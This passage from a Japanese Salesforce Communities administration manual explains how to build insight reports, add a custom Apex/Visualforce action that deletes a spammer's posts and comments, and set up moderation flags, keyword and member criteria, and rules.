[コミュニティ管理] およびコミュニティワークスペースでは、ネットワーク
オブジェクトに基づいたレポートにのみコミュニティ固有の情報が表示され
ます。

メモ: 他のオブジェクトに基づいてレポートを作成し、[コミュニティ管
理] またはコミュニティワークスペースで公開することができます。そ
の場合、レポートを表示しているコミュニティだけでなく、組織全体の
データが表示されます。

• 主オブジェクトとして [ネットワーク] を選択します。
• 子オブジェクトを選択します。

– Chatter メッセージ
– フィードリビジョン
– グループ
– ネットワーク監査
– ネットワーク活動総計値 (日次)

– ネットワークのフィードリビジョン
– ネットワークメンバー
– ネットワークメンバーシップ総計値 (日次)

– ネットワークモデレーション
– ネットワーク公開利用状況総計値 (日次)

– ネットワークユニーク寄稿者総計値 (日次)

– おすすめ総計値
– トピックの割り当て
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– トピック
– 未公開フィードエンティティ

2. カスタムレポートタイプを使用して、インサイトレポートを作成します。
インサイトレポートは、次の要件を満たす必要がある点を除き、他のレポートと同じです。
• レポートは、表形式レポートである必要があります。
• レポートにページネーションが含まれていない。
• [コミュニティ管理] またはコミュニティワークスペースには最初の 2,000 行しか表示されないため、レ

ポートで 2,000 行以下のみが返されるようにすることをお勧めします。
• コメントの [承認] および [削除] アクションを表示するには、FeedCommentID 列をインサイトレポートに

追加する必要があります。
レポートをネットワーク ID で絞り込まず、表示しているコミュニティのデータが動的にレポートに表示さ
れるようにしてください。ネットワーク ID 検索条件をレポートに追加すると、どのコミュニティでレポー
トを表示しているかに関係なく、そのネットワーク ID を持つコミュニティのデータのみがレポートに表示
されます。

3. [コミュニティ管理] またはコミュニティワークスペースで対応付けることができる新しいレポートフォル
ダにレポートを保存します。
インサイトページごとに別個のレポートフォルダを作成することをお勧めします。たとえば、「インサイ
トメンバー」というレポートフォルダと「インサイトモデレーション」というレポートフォルダを作成しま
す。
インサイトページは、内部組織のレポートフォルダに対応付けられます。そのフォルダに含まれるすべて
のレポートは、インサイトページのドロップダウンメニューに表示されます。内部組織のレポートフォル
ダでのインサイトレポートの追加または削除によって、[コミュニティ管理] またはコミュニティワークス
ペースのインサイトページが更新されます。

4. インサイトレポートフォルダをコミュニティマネージャと共有します。
5. [コミュニティ管理] またはコミュニティワークスペースで [エンゲージメント] > [設定] をクリックし、イン

サイトページをレポートフォルダに対応付けます。
コミュニティマネージャが [コミュニティ管理]またはコミュニティワークスペースにアクセスすると、対応付
けられた [エンゲージメント] ページのドロップダウンメニューにインサイトレポートが表示されます。

メモ:  Developer Edition や Sandbox 組織で使用できないインサイトもあります。

関連トピック:

カスタムレポートタイプの作成
レポートの作成
コミュニティ活動の追跡
レポートフォルダまたはダッシュボードフォルダの共有
コミュニティインサイトのカスタムアクションの作成
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コミュニティインサイトのカスタムアクションの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Visualforceページを作成、
編集、および設定する
• 「アプリケーションの

カスタマイズ」

カスタム Visualforce コン
トローラを編集する
• 「Apex 開発」

コミュニティのインサイトレポートとカスタムアクションにより、より多くの
作業を実行できます。スパム送信者がコミュニティを攻撃しているとします。
カスタムアクションを作成して使用し、スパム送信者の投稿とコメントをすべ
て 1 回クリックするだけで削除できるようにします。インサイトのカスタムア
クションは、標準オブジェクトとカスタムオブジェクトで動作します。
レポートの [インサイト] アクションをクリックすると、Visualforce ページによっ
てバックグラウンドでアクションが実行されます。Visualforce ページは、標準コ
ントローラや標準リストコントローラを使用して、標準オブジェクトまたはカ
スタムオブジェクトにリンクされます。
インサイトのカスタムアクションを作成する手順の概要は、次のとおりです。
1. Visualforce ページを作成します。

次のオプションを使用できます。
• 標準コントローラの使用

Visualforce ページを作成して、Salesforce の標準的なページで使用するもの
と同じ機能およびロジックを含めるには、このオプションを選択します。
たとえば、標準取引先コントローラを使用する場合、Visualforce ページで
[保存] ボタンをクリックすると、標準の取引先編集ページで [保存] をク
リックした場合と同じ動作が行われます。

• 標準リストコントローラの使用
Visualforceページを作成して、レコードセットを表示したり操作したりできるようにするには、このオプ
ションを選択します。レコードセットを使用する既存のSalesforceページの例として、リストページ、関
連リスト、一括アクションページなどがあります。

• Apex を使用するコントローラ拡張の使用
新しい機能の公開、アプリケーションによるナビゲーションのカスタマイズ、コールアウトまたは Web

サービスの使用を行う場合、またはページの情報にアクセスする方法についてより詳細な制御が必要な
場合は、このオプションを選択します。

すべてのオプションは、標準オブジェクトとカスタムオブジェクトで動作します。
これらのオプションについての詳細は、『Visualforce 開発者ガイド』を参照してください。

2. カスタムアクションをインサイトレポートに追加します。
アクションは、レポートで返されたデータに基づいて表示されます。アクションに必要なデータを現在返
しているレポートがあることを確認してください。
a. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
b. 新しいカスタムアクションを適用するインサイトレポートに移動します。
c. レポートで をクリックし、カスタムアクションを選択リストから追加します。

3. ユーザに適切な権限があり、ユーザがカスタムアクションを完了できることを確認します。
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カスタムアクションの設定方法に応じて、ユーザはアクションの実行後にインサイトページに留まるか、内部
組織のページにリダイレクトされます。インサイトの標準アクションとは異なり、ユーザはカスタムアクショ
ンの標準的な成功または失敗のメッセージを受け取りません。

例: 次に、コミュニティメンバーからすべての活動を削除するカスタムアクションの例を示します。この
カスタムアクションは、スパム攻撃後にコミュニティをクリーンアップする場合に役立ちます。
Apex クラスを使用してカスタムコントローラ拡張を作成し、Visualforce ページで使用します。次の
DeleteAllActivityControllerExtension クラスは、カスタムコントローラ拡張の例です。
public with sharing class DeleteAllActivityControllerExtension {

private List<Id> ids;
private String retURL;
private Database.DeleteResult[] deleteResult = null;
private Map<String, String> resultMap;
private String success = 'success';
private String failure = 'failure';

public DeleteAllActivityControllerExtension(ApexPages.StandardController controller)
{

resultMap = new Map<String, String>();
/* The IDs you select on the Insights page are stored in a comma separated

string of IDs.
This string is passed in a parameter called "idsList" */
String idsList = ApexPages.currentPage().getParameters().get('idsList');
//The return URL to the Insights page is passed in a parameter called "retURL"

retURL = ApexPages.currentPage().getParameters().get('retURL');
ids = idsList.split(',');

}

public PageReference deleteAllActivity() {
deleteFeedPosts();
deleteFeedComments();
//Include these two lines of code to be redirected to the Insights page after

you click the action.
PageReference retPage = new PageReference(retURL);
retPage.setRedirect(true);
Integer failureCount = calculateFailureCount();
Integer successCount = ids.size() - failureCount;
retPage.getParameters().put(success, String.valueOf(successCount));
retPage.getParameters().put(failure, String.valueOf(failureCount));
return retPage;

}

private void deleteFeedPosts() {
List<FeedItem> feedItems = [Select Id, CreatedById FROM FeedItem WHERE

CreatedById IN :ids];
deleteResult = Database.delete(feedItems, false);
//Update the resultMap with failures to calculate the failureCount
if(deleteResult != null) {

for(Integer i=0;i < deleteResult.size();i++) {
if (!deleteResult.get(i).isSuccess()) {
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for(Database.Error error : deleteResult.get(i).getErrors()) {
resultMap.put(string.valueOf(feedItems.get(i).CreatedById),

failure);
}

}
}

}
}

private void deleteFeedComments() {
List<FeedComment> feedComments = [Select Id, CreatedById FROM FeedComment WHERE

CreatedById IN :ids];
deleteResult = Database.delete(feedComments, false);
//Update the resultMap with failures to calculate the failureCount
if(deleteResult != null) {

for(Integer i=0;i < deleteResult.size();i++) {
if (!deleteResult.get(i).isSuccess()) {

for(Database.Error error : deleteResult.get(i).getErrors()) {
resultMap.put(string.valueOf(feedComments.get(i).CreatedById),

failure);
}

}
}

}
}

private Integer calculateFailureCount() {
Integer failureCount = 0;
for (String result : resultMap.values()) {

if (failure == result) {
failureCount++;

}
}
return failureCount;

}

}

このコードでは、[すべての活動を削除] ボタンがインサイトレポートに作成されます。このボタンによ
り、選択したメンバーのすべての投稿とコメントが削除されます。すべての非公開メッセージとファイ
ルも削除する場合は、コードを拡張できます。

メモ:

• このコード例には権限チェックが含まれていません。このカスタムアクションは、システム管理
者でのみ動作します。

• インサイトレポートで選択した項目の ID は、idsList パラメータを使用して Visualforce ページに
渡されます。
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次の Visualforce マークアップは、カスタムコントローラ拡張をページ内で使用する方法を示します。
<apex:page standardController="User"
extensions="DeleteAllActivityControllerExtension" action="{!deleteAllActivity}"
/>

関連トピック:

Salesforce ヘルプ: グローバルカスタムアクションとしての Visualforce ページ
Visualforce 開発者ガイド: 標準コントローラ
Visualforce 開発者ガイド: 標準リストコントローラ
Visualforce 開発者ガイド: コントローラ拡張の作成

コミュニティでのインサイトの表示とカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティワークス
ペースまたは [コミュニ
ティ管理] でインサイトを
表示する
• 「コミュニティ管理に

アクセス」または「コ
ミュニティの管理」ま
たは「コミュニティの
作成および設定」

および

コミュニティのメン
バーであること

インサイトレポートをカ
スタマイズする
• 「レポートの作成とカ

スタマイズ」

インサイトを使用し、最近のコミュニティの活動を監視してアクションをすぐ
に実行します。インサイトでは、日常的なモデレーション作業を管理し、コミュ
ニティでの採用とエンゲージメントを把握できます。
各インサイトページには複数のインサイトレポートが含まれます。これらのレ
ポートには、ページのドロップダウンメニューを使用してアクセスできます。
インサイトページでは、[作成者] や [グループ名] などのレポート項目へのリ
ンクが自動的に作成されます。投稿、コメント、メッセージでは、コンテンツ
をページに直接表示することもできます。
インサイトは強力なツールであり、これを使用して一括アクションを実行でき
ます。たとえば、スパム送信者がコミュニティを攻撃した場合は、不快な投稿
をすべて選択して [投稿を削除] をクリックできます。

重要: インサイトの一部のアクションでは、特別な権限が必要です。アク
ションを実行できない場合は、システム管理者に問い合わせてください。

1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [エンゲージメント] または [モデレーション] をクリックします。

メモ: システム管理者は、インサイトページを対応付けます。[エンゲー
ジメント] セクションが表示されないか、[モデレーション] セクション
にインサイトページが含まれていない場合は、システム管理者がまだ対
応付けしていません。

レポートフォルダが対応付けられたページは、セクションを展開すると表示
されます。

3. 表示するインサイトページをクリックします。
• その他のインサイトレポートにアクセスするには、ドロップダウンメ

ニューを使用します。
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• アクションを実行します。最初の 2 つのアクションのみページに表示されます。アクションをさらに表
示するには、表示されているアクションの横にある をクリックします。1 回に最大 100 行を選択で
きます。

• 相対的な日付範囲とカスタム日付範囲でレポートを絞り込むには、ドロップダウン日付検索条件を使用
します。常時、今週、今月、先月、今日、昨日、過去 7 日間、過去 30 日間のうちいずれかの相対日付範
囲を選択してください。また、独自のカスタム日付範囲を入力することもできます。

• レポートを特定の列で並び替えるには、列ヘッダーをクリックします。レポートの並び替え順 (昇順ま
たは降順) が列の矢印で示されます。

• レポートの編集またはカスタマイズを行うには、 をクリックし、内部組織でレポートを開きます。
列の追加や削除を行ったりレポート検索条件を更新したりするなど、レポートをカスタマイズしてコ
ミュニティのニーズに合わせます。
レポートをネットワーク ID で絞り込まず、表示しているコミュニティのデータが動的にレポートに表示
されるようにしてください。ネットワーク ID 検索条件をレポートに追加すると、どのコミュニティでレ
ポートを表示しているかに関係なく、そのネットワーク ID を持つコミュニティのデータのみがレポート
に表示されます。

• ページに割り当てられたアクションを編集するには、 をクリックして [インサイトアクションの編集]

ページを開きます。
インサイトレポートに表示されるアクションは、レポートで返されたデータに基づいて表示されます。
たとえば、レポートがユーザに関するデータを返した場合、[メンバーを凍結] および [メンバーを凍結
解除] アクションが表示されます。レポートがデータを返すのを停止した場合、アクションは削除され
ません。ただし、アクションを更新するときに、一部が不適切であることが通知されます。
インサイトレポートごとに独自のアクションを含めることができます。これらのアクションはいつでも
編集できますが、インサイトレポートには少なくとも 1 つのアクションが必要です。[インサイトアク
ションの編集] ページの選択リストに表示されるアクションは、カスタムアクションも含めすべてレポー
トで使用可能な、適切なアクションです。

コミュニティのインサイトレポートは、アクセスすると自動的に更新されます。強制的に更新することもでき
ます。

関連トピック:

コミュニティインサイトのカスタムアクションの作成
インサイトとダッシュボードの違いは?
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コミュニティモデレーションの戦略およびツール
エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティモデレーションを使用すると、コンテンツの監視をコミュニティ
メンバーに許可し、適切で関連性のあるコンテンツであることを確認できます。
モデレーションを自動化するルールを設定し、面倒な作業を自動で実行します。
モデレーションはコミュニティの発展に不可欠です。コミュニティ内のメンバー
とコンテンツが適切かつ有益であることを、積極的、継続的に確認するモデレー
タが必要です。また、不適切あるいは攻撃的とみなされる内容を見つけた場合
に指摘することをメンバーに許可する必要もあります。
コミュニティモデレーションでは、次のことができます。
• コミュニティを綿密に監視できるようにするため、特定のユーザをモデレー

タに指定する
• 不適切かスパムである投稿、コメント、ファイル、およびメッセージのフラグ設定をメンバーに許可する
• フラグ付き項目の確認および対応 (投稿、コメント、またはファイルの削除など) をモデレータに許可する
• グループの所有者およびマネージャに自分のグループ内でのモデレートを許可する
• 投稿やコメントなど、メンバーが生成したコンテンツのキーワードを自動的にブロック、フラグ設定、お

よび置き換えるルールと条件を作成する
• 特定のメンバーのコンテンツを確認して承認するルールを作成する
• コミュニティ内でのフラグ設定とモデレーション活動を追跡する
コミュニティで許可されるファイルのサイズおよび種類を制限するには、[管理個人設定] ページに移動しま
す。
コミュニティのモデレーション活動についてレポートするには、事前設定済みの監査インサイトレポートを使
用できます。これは Salesforce Communities Management パッケージで提供されます。API を使用してフラグが設定
されたコンテンツや活動をクエリしたり、Networksを主オブジェクトとして使用してカスタムレポートタイ
プを作成したりすることもできます。Salesforce Communities Management パッケージについての詳細は、「ダッ
シュボードおよびインサイトパッケージを使用したコミュニティのレポート」を参照してください。
コミュニティに高度なカスタムモデレーションロジックを作成する場合は、コンテンツにフラグを設定するト
リガを作成できます。カスタムトリガはバックグラウンドで実行されるため、コンテンツのフラグ設定をメン
バーに許可する必要はありません。
組織でトランザクションセキュリティを使用している場合は、コミュニティモデレーションによって一部の同
じ機能が提供されます。トランザクションセキュリティとコミュニティモデレーションは同時に使用できま
す。

[モデレーションの概要] ページを使用したコミュニティ活動の追跡
[コミュニティ管理] およびコミュニティワークスペースの [モデレーションの概要] ページには、モデレー
ションインサイトがクリック可能なタイルに配置されています。コミュニティのモデレーション活動の全
体像を一目で確認し、日常的なモデレーション作業に対するアクションを実行できます。
コミュニティでのメンバーによる項目のフラグ設定の有効化
コミュニティでフラグ設定を有効にして、メンバーが不適切と判断した投稿、コメント、ファイル、およ
びメッセージにフラグを設定できるようにします。
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コミュニティモデレーション条件
キーワードやメンバーのグループを定義する条件を作成します。条件をルールで使用して、投稿やコメン
トなど、メンバーが生成するコンテンツをモデレートします。
コミュニティモデレーションルール
メンバーが生成したコンテンツをモデレートするためにコミュニティ用のルールを作成および変更します。
各ルールには、ルールの適用対象となるメンバー生成コンテンツ、ルールを適用する条件、および実行す
るモデレーションアクションを指定します。モデレーションルールは、コミュニティをスパム、ボット、
攻撃的または不適切なコンテンツから保護します。
コミュニティの投稿およびコメントの確認と承認
コンテンツを確認し、承認する事前モデレーションルールによって、非準拠または不適切なコンテンツが
コミュニティ内のすべてのユーザにすぐに表示されないようにできます。確認待機中の投稿およびコメン
トはコミュニティフィードには表示されず、著者とコミュニティモデレータのみがフィードで参照できま
す。著者は待機中の投稿とそれに対する待機中のコメントを両方とも投稿していれば表示できます。ルー
ルを設定すると、モデレータは直接コミュニティフィードで、またはコミュニティワークスペースや [コ
ミュニティ管理] でコンテンツを承認できます。
コミュニティのフラグ付き投稿およびコメントのモデレート
コミュニティモデレータは、コミュニティのメンバーが不適切とフラグ付けした投稿とコメントのリスト
を確認し、対応策を実行できます。グループ所有者またはグループマネージャは、各自のグループの項目
のフラグを表示し、対応策を実行できます。
コミュニティでフラグが設定されたファイルのモデレート
コミュニティモデレータは、コミュニティのメンバーが不適切またはスパムとフラグ付けしたファイルの
リストを確認し、対応策を実行できます。グループ所有者またはグループマネージャは、各自のグループ
のファイルのフラグを表示し、対応策を実行できます。
コミュニティのフラグが設定されたダイレクトメッセージのモデレート
コミュニティメンバーは、カスタマーサービス (Napili) テンプレートを使用して作成されたコミュニティで
メッセージにフラグを設定できます。コミュニティのモデレータは、コミュニティのメンバーが不適切ま
たはスパムとしてフラグ設定したダイレクトメッセージのリストを確認して、対応策を実行できます。
コミュニティのフラグが設定された非公開メッセージのモデレート
コミュニティのモデレータは、コミュニティのメンバーが不適切またはスパムとしてフラグ設定したChatter

メッセージのリストを確認して、対応策を実行できます。
項目にフラグを設定する Apex トリガの設定
トリガを使用して、コミュニティで項目に自動的にフラグを設定する高度なカスタムモデレーションロジッ
クを作成します。

関連トピック:

コミュニティモデレータの割り当て
コミュニティマネージャの割り当て
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[モデレーションの概要] ページを使用したコミュニティ活動の追跡

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

[コミュニティ管理] およびコミュニティワークスペースの [モデレーションの概
要] ページには、モデレーションインサイトがクリック可能なタイルに配置され
ています。コミュニティのモデレーション活動の全体像を一目で確認し、日常
的なモデレーション作業に対するアクションを実行できます。

例: すべてのフィードコメントフラグを表示するには、[フィードコメント
フラグ]をクリックし、フィードコメントフラグインサイトレポートに直接
移動します。インサイトレポートから直接フラグ付きコメントを一括して
承認したり、削除したりできます。

ヒント: 設定作業を自分で行う必要はありません。AppExchangeからダウンロードできるSalesforceCommunities

Management パッケージで、標準のインサイトを取得します。事前設定されたインサイトレポートを使用
するには、コミュニティで Chatter を使用する必要があります。
パッケージで提供されるインサイトレポートは 100% カスタマイズ可能です。デフォルトのインサイト
ページ名、レポートフォルダの対応付け、さらにはインサイトレポートの列と検索条件をいつでも変更
できます。パッケージ内容のカスタマイズや変更について懸念する必要はありません。ご安心ください。
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コミュニティでのメンバーによる項目のフラグ設定の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティでのユーザ
による項目のフラグ設定
を有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

コミュニティでフラグ設定を有効にして、メンバーが不適切と判断した投稿、
コメント、ファイル、およびメッセージにフラグを設定できるようにします。
ユーザインターフェースでユーザがコンテンツにフラグを設定できるようにす
るには、組織でコミュニティモデレーションが有効になっている必要がありま
す。コンテンツのフラグ設定を許可するオプションが表示されない場合は、シ
ステム管理者にお問い合わせください。
この設定は、APIを使用して項目をフラグ設定またはモデレートする場合には必
要ありません。
項目にフラグが付けられると、コミュニティモデレータはその項目を確認して
対応できます。モデレータは、コミュニティメンバーによるフラグ設定が無効
な場合でも、引き続き項目にフラグを設定することができます。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [個人設定]をクリックして、[メンバーにコンテンツのフラグの設定を

許可する] を選択します。
3. [保存] をクリックします。
コミュニティでこの設定を有効にすると、次のようになります。
• メンバーは [不正フラグを設定] オプションを使用して、投稿、コメント、

およびファイルにフラグを設定できる。
• メンバーは、Chatterの [私のメッセージ] ページでコミュニティ内からメッセー

ジにフラグを設定できる。メンバーがメッセージのメール通知を有効にした場合は、メールからメッセー
ジにフラグを直接設定することもできます。メンバーがフラグを設定できるのは、メンバーになっている
コミュニティから送信されたメッセージのみです。

メモ: パートナーポータル、カスタマーポータル、内部組織、および Salesforce1では、メッセージにフ
ラグを設定することはできません。

• グループの所有者およびマネージャは、自分が所有または管理するグループをモデレートできる。
コミュニティに高度なカスタムモデレーションロジックを作成する場合は、コンテンツにフラグを設定するト
リガを作成できます。カスタムトリガはバックグラウンドで実行されるため、コンテンツのフラグ設定をメン
バーに許可する必要はありません。

関連トピック:

コミュニティモデレータの割り当て
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コミュニティモデレーション条件

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

キーワードやメンバーのグループを定義する条件を作成します。条件をルール
で使用して、投稿やコメントなど、メンバーが生成するコンテンツをモデレー
トします。
使用事例を計画する

メンバー条件を作成する前に、使用目的を検討します。
• コミュニティをボットやスパム送信者から保護しますか? ほとんどのスパ

ム送信者は参加直後に攻撃を行います。メンバー条件をユーザの作成日
に基づいて設定します。

• メンバーの最初の投稿を確認しますか? まだコミュニティに寄稿していな
いユーザを対象とするメンバー条件を設定します。

• コミュニティでの内部ユーザの活動をモデレートしますか? 内部ユーザのみを含めるメンバー条件を設
定します。

• パートナーが初めて寄稿したら通知を受け取りますか? まだコミュニティに寄稿していないパートナー
ユーザのみを含めるメンバー条件を設定します。

コンテンツ条件を作成する前に、何をモデレートするかを検討します。
• 冒涜的な言葉や俗語をモデレートしますか? 関連語句のグループごとに、個別のキーワードリストを設

定してください。
• 競合商品の名前をアスタリスクで置き換えますか? 競合商品のみのキーワードリストを作成してくださ

い。
• HIPAA コンプライアンスのコンテンツを監視しますか? HIPAA 違反の可能性について警告するキーワード

リストを作成してください。

コミュニティをモデレートするコンテンツ条件の作成
コミュニティでの使用を禁止する不適切な言葉やコンテンツを定義するコンテンツ条件を作成、変更しま
す。コンテンツ条件をルールで使用して、投稿やコメントなど、メンバーが生成するコンテンツをモデレー
トします。
コミュニティをモデレートするメンバー条件の作成
メンバー条件を作成、変更し、コミュニティモデレーションルールで使用します。ユーザプロファイル、
ユーザ種別、ユーザ作成日、コミュニティに投稿またはコメントしたことがあるかどうかに基づいて、特
定のメンバーのグループを対象にします。メンバー条件をルールで使用すると、過去 7 日間に作成された
顧客ユーザからの投稿のみを確認する場合など、特定の使用事例を特定しやすくなります。
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コミュニティをモデレートするコンテンツ条件の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

条件を表示、作成、編
集、または削除する
• 「コミュニティの管

理」または「コミュニ
ティの作成および設
定」

および

コミュニティのメン
バーであること

コミュニティでの使用を禁止する不適切な言葉やコンテンツを定義するコンテ
ンツ条件を作成、変更します。コンテンツ条件をルールで使用して、投稿やコ
メントなど、メンバーが生成するコンテンツをモデレートします。
メタデータ API または Tooling API を使用して、キーワードリストを設定すること
もできます。
次の点に留意してください。
• 組織では、最大 30 個のキーワードリスト条件を設定できます。これは、コ

ミュニティ単位ではなく組織単位の制限です。
• 各キーワードリストには、最大 2,000 個のキーワードを指定できます。
• キーワードとユーザが生成したコンテンツを照合するとき、大文字と小文字

の違いと末尾の句読点は無視されます。たとえば、条件に「BadWord」が含
まれている場合、ユーザが「BADWORD」または「badword.」と入力すると
一致します。

モデレーションルールで使用するコンテンツ条件を、次のように設定します。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. コミュニティワークスペースを使用している場合、[モデレーション] > [コン

テンツ条件] > [新規] をクリックしてモデレーションにアクセスします。[コ
ミュニティ管理] を使用している場合、[モデレーションコンテンツ条件]をク
リックしてモデレーションにアクセスします。

3. 条件の名前、一意の名前、および説明を入力します。
4. [保存] をクリックします。
5. 条件のキーワードを更新します。

キーワードを追加するには、[追加] をクリックします。
• キーワードは 100 文字以下で、文字、数字、空白、および特殊文字を使用できます。
• ワイルドカード文字はサポートされていません。
• キーワードは、カンマまたは改行で区切ります。
• キーワードを追加するとき、一度に最大 32,000 文字をコピーして貼り付けることができます。

ヒント: 特殊文字やスペースを使用して、同じ単語のさまざまなバリエーションをカバーできます。
以下に例を示します。
bad-word

b@dword

b a d w o r d

キーワードを削除するには、削除するキーワードを選択し、[削除] をクリックします。
メッセージが表示され、追加されたキーワード数、追加に失敗したキーワード数、および無視された重複
数が示されます。エントリ全体の保存に失敗した場合は、キーワード要件を確認してから再度送信してく
ださい。重複は追加しても無視されるため、心配する必要はありません。

4075

コミュニティモデレーションの戦略およびツールSalesforce Communities の設定および管理



条件を削除するには、[コンテンツ条件]ページから [削除]をクリックします。ルールで使用中の条件は削除で
きません。

コミュニティをモデレートするメンバー条件の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

条件を表示、作成、編
集、または削除する
• 「コミュニティの管

理」または「コミュニ
ティの作成および設
定」

および

コミュニティのメン
バーであること

メンバー条件を作成、変更し、コミュニティモデレーションルールで使用しま
す。ユーザプロファイル、ユーザ種別、ユーザ作成日、コミュニティに投稿ま
たはコメントしたことがあるかどうかに基づいて、特定のメンバーのグループ
を対象にします。メンバー条件をルールで使用すると、過去 7 日間に作成され
た顧客ユーザからの投稿のみを確認する場合など、特定の使用事例を特定しや
すくなります。
次の点に留意してください。
• 組織には最大 100 個のメンバー条件を設定できます。これは、コミュニティ

単位ではなく組織単位の制限です。
• 各メンバー条件には、最大 100 個のユーザ条件を含めることができます。
ユーザ種別とユーザプロファイルのみを含む条件を作成することも、検索条件
のみを含めることもできます。あるいは、すべての条件を使用する場合は、ユー
ザ種別、ユーザプロファイル、および検索条件を含めることができます。では
始めましょう。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [モデレーションメンバー条件] をクリックし、[新規] をクリックします。
3. 条件の名前、一意の名前、および説明を入力します。
4. 条件に含めるユーザ種別またはユーザプロファイルを選択します。

種別とプロファイルの任意の組み合わせを選択できます。メンバーが組み込
まれるのは、選択した組み合わせのいずれかに属す場合です。
内部組織でプロファイルを削除すると、そのプロファイルはメンバー条件からも削除されます。

5. 次のオプションを選択してメンバーを絞り込みます。
• なし  — 他のオプションを使用して条件を絞り込まない場合は、このオプションを選択します。[なし] は

デフォルトで選択されています。
• ユーザ作成日  — 特定の期間条件内に作成されたユーザのみを含めるには、このオプションを選択しま

す。ユーザ作成後の経過日数を入力します。

メモ: ユーザの作成日がコミュニティのメンバーになった日付と異なる場合があります。たとえ
ば、120 日前に作成された内部ユーザが、5 日前にコミュニティのメンバーになることがあります。
セルフ登録するユーザの作成日は、コミュニティのメンバーになった日付になります。

• コミュニティ貢献のないメンバー  — コミュニティで投稿したりコメントしたりしたことがないメンバー
のみを含めるには、このオプションを選択します。確認待機中の投稿は、承認されるまでコミュニティ
の貢献度としてカウントされません。

ユーザ種別またはユーザプロファイルを選択し、絞り込み条件も選択した場合、メンバーは選択されたユー
ザ種別またはプロファイルのいずれかに属し、かつ、絞り込み条件を満たす場合のみ含まれます。
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6. 変更内容を適用するには、[保存] をクリックします。

例: 次の条件を見てみましょう。
ユーザ種別: パートナー
ユーザプロファイル: カスタマーコミュニティプラスログインユーザ、カスタマーコミュニティプラスユー
ザ、カスタマーコミュニティユーザ
絞り込み条件: ユーザ作成日は、ユーザの作成から 7 日間に設定
このメンバー条件は次のデータに適用されます。
• 過去 7 日間に作成されたパートナーユーザ
• 過去 7 日間に作成されたカスタマーコミュニティプラスログインユーザ
• 過去 7 日間に作成されたカスタマーコミュニティプラスユーザ
• 過去 7 日間に作成されたカスタマーコミュニティユーザ
このメンバー条件をルールで使用して次の操作を実行できます。
• 該当するメンバーの投稿を確認および承認する
• 該当するメンバーが寄稿したら通知を受け取る
• 該当するメンバーのすべての寄稿にフラグを設定する

条件を削除するには、[メンバー条件]ページから [削除]をクリックします。ルールで使用中の条件は削除でき
ません。

コミュニティモデレーションルール

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メンバーが生成したコンテンツをモデレートするためにコミュニティ用のルー
ルを作成および変更します。各ルールには、ルールの適用対象となるメンバー
生成コンテンツ、ルールを適用する条件、および実行するモデレーションアク
ションを指定します。モデレーションルールは、コミュニティをスパム、ボッ
ト、攻撃的または不適切なコンテンツから保護します。

事前設定済みモデレーションルールのカスタマイズ
コミュニティが Spring '17 以降に作成されている場合、禁止されたキーワード
のブロック、フラグ設定、凍結、置換、確認を行う事前設定済みのモデレー
ションルールがコミュニティに設定されます。ルールを有効化するだけで、
準備が整います。ルールと禁止されたキーワードのリストは両方ともカスタ
マイズできます。
コミュニティをモデレートするコンテンツルールの作成
メンバーが生成したコンテンツをモデレートするには、コミュニティ用のルールを作成および変更します。
コンテンツルールは、コミュニティをスパム送信者や悪意のあるメンバーが作成した攻撃的な言葉や不適
切なコンテンツから保護します。メンバーが生成したコンテンツのブロック、置き換え、フラグ設定、確
認と承認を行うコンテンツルールを作成できます。
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コミュニティをモデレートする処理数制限ルールの作成
処理数ルールを作成、変更して、コミュニティでメンバー生成コンテンツが作成される頻度を監視し、制
限します。処理数ルールによって、同じメッセージを連続投稿してコミュニティを攻撃するスパム送信者
やボットからコミュニティを保護できます。処理数ルールを作成してモデレータにスパム送信者のような
疑わしい動作を通知したり、直ちにメンバーを凍結したりできます。
コミュニティモデレーションルールを実行する方法と状況は?

コンテンツをブロックするルールが最初に実行され、続いてコンテンツを確認し承認するルール、コンテ
ンツを置き換えるルール、コンテンツにフラグを設定するルールの順に実行されます。
レコードフィードのモデレーションの有効化
コミュニティ内から表示できるレコードフィードのコメントまたは投稿に対してモデレーションルールを
実行します。レコードフィードのモデレーションにより、メンバーの投稿またはコメントがコミュニティ
のガイドラインに準拠するようになります。

事前設定済みモデレーションルールのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ルールを表示、作成、編
集、または削除する
• 「コミュニティの管

理」または「コミュニ
ティの作成および設
定」

および

コミュニティのメン
バーであること

コミュニティが Spring '17 以降に作成されている場合、禁止されたキーワードの
ブロック、フラグ設定、凍結、置換、確認を行う事前設定済みのモデレーショ
ンルールがコミュニティに設定されます。ルールを有効化するだけで、準備が
整います。ルールと禁止されたキーワードのリストは両方ともカスタマイズで
きます。
• 組織では、最大 30 個のルールを設定できます。これは、コミュニティ単位で

はなく組織単位の制限です。この制限には、コンテンツルールと処理数ルー
ルの両方が含まれます。

